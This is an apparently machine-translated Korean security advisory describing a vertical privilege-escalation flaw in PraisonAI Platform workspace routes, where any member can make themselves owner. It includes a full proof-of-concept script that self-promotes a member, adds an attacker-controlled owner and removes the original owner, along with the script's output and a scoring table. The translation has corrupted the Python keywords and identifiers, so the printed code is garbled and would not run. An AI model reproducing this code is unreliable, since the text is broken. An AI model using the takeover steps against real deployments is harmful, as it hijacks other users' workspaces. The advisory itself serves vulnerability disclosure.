PraisonAI 플랫폼: 누락된 역할 확인을 통해 모든 워크스페이스 구성원이 소유자가 되고 워크스페이스 멤버십을 제어할 수 있습니다.
PraisonAI 플랫폼에는 인증된 낮은 권한의 워크스페이스 구성원이 자신의 역할을 '소유자'로 승격할 수 있도록 허용하는 손상된 워크스페이스 권한 확인 기능이 있습니다.
이 문제는 admin 또는 owner를 요구하지 않고 공유 종속성 require_workspace_member(...)를 사용하는 권한 있는 작업 영역 관리 경로로 인해 발생합니다. 종속성은 기본적으로 min_role="member"로 설정되므로 관리해야 하는 경로는 일반 작업공간 구성원이 액세스할 수 있습니다.
결과적으로 일반 작업 공간 구성원은 다음을 수행할 수 있습니다.
이는 손상된 액세스 제어/수직적 권한 상승 취약점입니다.
취약한 인증 종속성은 다음에서 정의됩니다.
``텍스트 praisonai_platform/api/deps.py
종속성은 기본적으로 가장 낮은 작업공간 역할로 설정됩니다.
``파이썬
비동기 def require_workspace_member(
작업공간_ID: str,
사용자: AuthIdentity = 종속(get_current_user),
세션: AsyncSession = 종속(get_db),
min_role: str = "회원",
) -> 인증 ID:
...
has = member_svc.has_role(workspace_id, user.id, min_role)을 기다립니다.
min_role의 기본값은 "member"이므로 다음을 사용하는 모든 경로는 다음을 사용합니다.
``파이썬 의존함(require_workspace_member)
더 강력한 역할을 명시적으로 전달하지 않으면 일반 작업공간 멤버십만 필요합니다.
다음의 권한 있는 작업 공간 관리 경로:
``텍스트
praisonai_platform/api/routes/workspaces.py
다음을 포함하여 관리 작업에 대해 이 종속성을 변경하지 않고 사용합니다.
``텍스트 패치 /workspaces/{workspace_id} 삭제 /workspaces/{workspace_id} POST /workspaces/{workspace_id}/members 패치 /workspaces/{workspace_id}/members/{user_id} 삭제 /workspaces/{workspace_id}/members/{user_id}
이러한 경로를 통해 작업 영역 수정, 삭제, 구성원 추가, 역할 변경 및 구성원 제거가 가능합니다. `admin` 또는 `owner`가 필요하지만 현재는 `member`만 필요합니다.
멤버십 서비스는 두 번째 인증 레이어를 제공하지 않습니다. 에서:
``텍스트
praisonai_platform/services/member_service.py
돌연변이 메소드는 경로 수준 검사를 통과한 후 요청된 변경을 수행합니다.
``파이썬 비동기 def 추가(...): 구성원 = 구성원(workspace_id=workspace_id, user_id=user_id, 역할=역할)
비동기 def update_role(...): 멤버 = self.get(workspace_id, user_id)을 기다립니다. member.role = new_role
비동기 def 제거(...): 멤버 = self.get(workspace_id, user_id)을 기다립니다. self._session.delete(멤버)를 기다립니다.
따라서 약한 경로 종속성은 효과적인 권한 부여 경계입니다.
권한이 낮은 사용자는 일반 인증 응답을 통해 자신의 'user.id'를 알아볼 수도 있습니다. 로그인/등록 응답에는 인증된 사용자 개체가 포함됩니다.
``텍스트
TokenResponse.token
TokenResponse.user.id
이를 통해 초대된 권한이 낮은 회원이 자신의 회원 기록을 타겟팅하고 자체 홍보할 수 있습니다.
``텍스트 패키지: praisonai-플랫폼 검증된 버전: 0.1.2 확인된 소스 커밋: d8a8a78 영향을 받는 구성 요소:
### PoC
다음 PoC는 독립적이며 실제 PraisonAI Platform FastAPI 애플리케이션 경로를 실행합니다. 취약한 RBAC 논리를 조롱하지 않습니다.
PoC:
1. `praisonai_platform.api.app.create_app()`을 사용하여 실제 FastAPI 앱을 생성합니다.
2. 실제 `/api/v1/auth/register` 경로를 통해 세 명의 사용자를 등록합니다.
3. 원래 소유자로 워크스페이스를 생성합니다.
4. 두 번째 사용자를 일반 `회원`으로 추가합니다.
5. 낮은 권한의 회원으로 로그인합니다.
6. 낮은 권한의 구성원 토큰을 사용하여 '소유자'로 자체 승격합니다.
7. 동일한 토큰을 사용하여 세 번째 계정을 '소유자'로 추가합니다.
8. 동일한 토큰을 사용하여 원래 소유자를 제거합니다.
9. 워크스페이스 멤버십이 인수되었는지 확인합니다.
#### 전체 PoC 코드
``파이썬
#!/usr/bin/env python3
"""PraisonAI Platform 작업 공간 RBAC 우회를 위한 자체 포함 로컬 재생입니다."""
__future__에서 주석 가져오기
비동기 가져오기
수입 OS
수입 시스템
수입 유형
uuid 가져오기
pathlib import 경로에서
httpx에서 ASGITransport, AsyncClient 가져오기
sqlalchemy.ext.asyncio에서 create_async_engine 가져오기
REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-플랫폼"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
def verify_source() -> 없음:
예상 = {
PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
'min_role: str = "회원"',
"member_svc.has_role(workspace_id, user.id, min_role)",
],
PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [
'@router.patch("/{workspace_id}", response_model=WorkspaceResponse)',
'@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)',
'@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',
'@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)',
],
PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [
"member.role = new_role",
"self._session.delete(member)를 기다립니다",
],
}
경로의 경우 예상.items()의 바늘:
텍스트 = path.read_text(encoding="utf-8")
바늘 속의 바늘의 경우:
바늘이 텍스트에 없는 경우:
RuntimeError(f"소스 확인 실패: {path}에서 {needle!r}을 찾을 수 없음")
비동기 def main() -> int:
PLATFORM_ROOT.exists()가 아니거나 AGENTS_ROOT.exists()가 아닌 경우:
raise SystemExit("로컬 PraisonAI 소스 트리가 누락되었습니다.")
verify_source()
sys.path.insert(0, str(PLATFORM_ROOT))
sys.path.insert(0, str(AGENTS_ROOT))
# passlib가 설치되지 않은 로컬 재생 환경을 위한 최소 passlib 스텁입니다.
# 이를 통해 PoC는 종속성 설정보다는 인증 버그에 집중하게 됩니다.
"passlib"가 sys.modules에 없는 경우:
passlib_pkg = 유형.ModuleType("passlib")
passlib_pkg.__path__ = []
sys.modules["passlib"] = passlib_pkg
"passlib.context"가 sys.modules에 없는 경우:
passlib_context = 유형.ModuleType("passlib.context")
클래스 _CryptContext:
def __init__(self, *args, **kwargs):
통과
def hash(self, 비밀번호: str) -> str:
f"스텁::{비밀번호}"를 반환합니다.
def verify(self, 비밀번호: str, 해시: str) -> bool:
해시 반환 == f"stub::{password}"
passlib_context.CryptContext = _CryptContext
sys.modules["passlib.context"] = passlib_context
# 로컬 재생을 위해 JWT 생성을 결정적으로 유지합니다.
os.environ["PLATFORM_JWT_SECRET"] = "테스트 비밀-테스트 전용"
praisonai_platform.api.app에서 create_app 가져오기
praisonai_platform.db.base에서 가져오기 베이스, 재설정_엔진
praisonai_platform.db에서 base_mod로 베이스 가져오기
Reset_engine()을 기다립니다
엔진 = create_async_engine(
"sqlite+aiosqlite:///:메모리:",
에코=거짓,
connect_args={"check_same_thread": 거짓},
)
base_mod._engine = 엔진
base_mod._session_factory = 없음
conn으로engine.begin()을 사용한 비동기:
conn.run_sync(Base.metadata.create_all)를 기다립니다.
앱 = create_app()
접미사 = uuid.uuid4().hex[:8]
비밀번호 = "비밀번호123!"
운송 = ASGITransport(app=app)
AsyncClient(transport=transport, base_url="http://test")를 클라이언트로 사용하여 비동기화:
# 1. 소유자 계정을 등록합니다.
소유자 = client.post를 기다립니다(
"/api/v1/auth/register",
JSON={
"이메일": f"owner_{suffix}@example.com",
"비밀번호": 비밀번호,
"이름": f"소유자_{접미사}",
},
)
# 2. 낮은 권한의 회원 계정을 등록합니다.
회원 = client.post를 기다립니다(
"/api/v1/auth/register",
JSON={
"이메일": f"member_{suffix}@example.com",
"비밀번호": 비밀번호,
"이름": f"member_{접미사}",
},
)
# 3. 세 번째 공격자가 제어하는 계정을 등록합니다.
extra = client.post를 기다립니다(
"/api/v1/auth/register",
JSON={
"이메일": f"extra_{suffix}@example.com",
"비밀번호": 비밀번호,
"이름": f"extra_{접미사}",
},
)
owner_json = 소유자.json()
member_json = member.json()
extra_json = extra.json()
owner_headers = {"승인": f"Bearer {owner_json['token']}"}
member_headers = {"승인": f"Bearer {member_json['token']}"}
# 4. 소유자로서 워크스페이스를 생성합니다.
작업 공간 = client.post를 기다립니다(
"/api/v1/작업공간/",
JSON={
"이름": f"ws-{접미사}",
"슬러그": f"ws-{접미사}",
"description": "rbac 바이패스 poc",
},
헤더=owner_headers,
)
작업 공간_id = 작업 공간.json()["id"]
# 5. 소유자는 두 번째 사용자를 낮은 권한의 일반 구성원으로 추가합니다.
added_member = client.post를 기다립니다(
f"/api/v1/workspaces/{workspace_id}/members",
JSON={
"user_id": member_json["사용자"]["id"],
"역할": "회원",
},
헤더=owner_headers,
)
# 6. 낮은 권한의 회원이 소유자로 자체 승격됩니다.
승격 = client.patch를 기다립니다(
f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}",
JSON={
"역할": "소유자",
},
헤더=member_headers,
)
# 7. 이전에 권한이 낮았던 동일한 구성원이 세 번째 계정을 소유자로 추가합니다.
added_owner = client.post를 기다립니다(
f"/api/v1/workspaces/{workspace_id}/members",
JSON={
"user_id": extra_json["user"]["id"],
"역할": "소유자",
},
헤더=member_headers,
)
# 8. 동일한 계정이 원래 소유자를 제거합니다.
제거_원래_소유자 = 클라이언트.삭제를 기다립니다(
f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}",
헤더=member_headers,
)
# 9. 남은 멤버십 상태를 확인하세요.
남은_멤버 = client.get을 기다립니다(
f"/api/v1/workspaces/{workspace_id}/members",
헤더=member_headers,
)
left_roles = [m["role"] for m in left_members.json()]
print(f"[poc] owner_status={owner.status_code}")
print(f"[poc] member_status={member.status_code}")
print(f"[poc] extra_status={extra.status_code}")
print(f"[poc] 작업 공간_상태={workspace.status_code}")
print(f"[poc] add_status={add_member.status_code} 역할={add_member.json()['role']}")
print(f"[poc] Promotion_status={promoted.status_code} 역할={promoted.json()['role']}")
print(f"[poc] add_owner_status={add_owner.status_code} 역할={add_owner.json()['role']}")
print(f"[poc] Remove_original_owner_status={removed_original_owner.status_code}")
print(f"[poc] 남은_roles={remaining_roles}")
Promotion.status_code != 200 또는 Promotion.json()["role"] != "owner"인 경우:
raise SystemExit("[poc] MISS: 낮은 권한의 구성원이 소유자가 되지 않았습니다.")
added_owner.status_code != 201 또는 added_owner.json()["role"] != "owner"인 경우:
raise SystemExit("[poc] MISS: 승격된 공격자는 새 소유자를 추가할 수 없습니다.")
Removal_original_owner.status_code != 204인 경우:
raise SystemExit("[poc] MISS: 승격된 공격자가 원래 소유자를 제거할 수 없습니다.")
남은_roles.count("소유자") < 2인 경우:
raise SystemExit("[poc] MISS: 인수 후 공격자가 제어할 것으로 예상되는 소유자")
print("[poc] HIT: 권한이 낮은 멤버가 소유자가 되어 워크스페이스 멤버십을 인수했습니다.")
엔진을 기다립니다.dispose()
base_mod._engine = 없음
base_mod._session_factory = 없음
0을 반환
__name__ == "__main__"인 경우:
SystemExit(asyncio.run(main())) 올리기
``텍스트 [poc] owner_status=201 [poc] member_status=201 [poc] extra_status=201 [poc] 작업 공간_상태=201 [poc] add_status=201 역할=회원 [poc] Promotion_status=200 역할=소유자 [poc] add_owner_status=201 역할=소유자 [poc] Remove_original_owner_status=204 [poc] 잔여_역할=['소유자', '소유자'] [poc] HIT: 권한이 낮은 구성원이 소유자가 되어 워크스페이스 멤버십을 인수했습니다.
#### 예상되는 보안 동작
다음 요청은 일반 '회원'이 제출한 경우 거부되어야 합니다.
``http
패치 /api/v1/workspaces/{workspace_id}/members/{member_user_id}
권한 부여: 전달자 <member_token>
콘텐츠 유형: 애플리케이션/json
{
"역할": "소유자"
}
예상되는 응답:
``텍스트 403 금지됨
#### 실제 취약한 행동
요청이 성공했습니다.
``텍스트
HTTP 200
역할 = 소유자
그런 다음 동일한 계정에서 공격자가 제어하는 소유자를 추가하고 원래 소유자를 제거할 수 있습니다.
낮은 권한의 워크스페이스 멤버는 워크스페이스를 완전히 인수할 수 있습니다.
영향에는 다음이 포함됩니다.
회원에서 소유자 또는 관리자로 자체 승격;공격자는 대상 작업 공간에서 인증된 낮은 권한의 멤버십만 필요합니다. 경쟁 조건, 특별 배포 또는 관리자 조치가 필요하지 않습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준